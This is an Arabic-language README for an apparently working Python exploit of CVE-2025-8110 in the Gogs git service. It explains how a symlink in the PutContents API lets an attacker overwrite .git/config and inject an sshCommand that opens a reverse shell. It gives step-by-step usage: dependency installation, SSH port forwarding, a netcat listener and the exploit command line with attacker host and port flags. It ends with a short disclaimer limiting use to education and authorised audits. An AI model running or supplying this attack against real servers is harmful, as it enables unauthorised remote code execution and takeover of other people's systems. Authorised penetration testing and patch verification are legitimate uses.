
استغلال RCE الخاص بـ Gogs CVE-2025-8110
أداة استغلال آلية بلغة Python لـ CVE-2025-8110 في Gogs. تسمح هذه الثغرة بتنفيذ الأوامر عن بُعد (RCE) عن طريق استغلال واجهة برمجة التطبيقات PutContents، التي تفشل في التحقق مما إذا كان مسار الملف رابطًا رمزيًا. من خلال الكتابة فوق الملف الداخلي .git/config عبر رابط رمزي، يمكننا حقن أمر sshCommand ضار لتشغيل شل عكسية.
تأكد من تثبيت Python 3 والاعتماديات اللازمة:
pip install requests rich beautifulsoup4
يجب أن يكون git مثبتًا ومتاحًا في $PATH الخاص بك لمرحلة استنساخ المستودع وتقديم التغييرات.
قد يكون Gogs مرتبطًا بـ 127.0.0.1:3001. استخدم إعادة توجيه المنفذ للوصول إلى واجهة الويب محليًا:
ssh -L 3001:127.0.0.1:3001 user@target-ip
بعد إعادة التوجيه، انتقل إلى http://localhost:3001:
يستخدم البرنامج النصي واجهة برمجة تطبيقات Gogs لتسليم الحمولة:
شغّل المستمع الخاص بك قبل تشغيل البرنامج النصي، حيث يتم تشغيل الشل بمجرد معالجة تحديث واجهة برمجة التطبيقات.
nc -lvnp 5555
مرر بيانات اعتمادك والرمز كوسائط:
python3 exploit.py -u http://localhost:3001 -un <YOUR_USER> -pw <YOUR_PASS> -t <YOUR_TOKEN> -lh <YOUR_IP> -lp 5555
| Flag | الوصف |
|---|---|
-u | عنوان URL الأساسي لنظام Gogs (مثل http://localhost:3001). |
-un | اسم المستخدم للحساب الذي أنشأته. |
-pw | كلمة مرور الحساب الذي أنشأته. |
-t | رمز واجهة برمجة التطبيقات الذي تم إنشاؤه في الإعدادات. |
-lh | عنوان IP الخاص بالمستمع (LHOST). |
-lp | منفذ المستمع (LPORT). |
ملاحظة: إذا توقف البرنامج النصي أو أعاد
Read timed outبعد 'Overwriting .git/config'، فتحقق من المستمع. يشير هذا عادةً إلى أن الشل العكسية قد اتصلت بنجاح وتحمل الاتصال.
المؤلف: TYehan
إخلاء مسؤولية: هذه الأداة مخصصة للأغراض التعليمية والتدقيق الأمني المصرح به فقط. استخدمها بمسؤولية.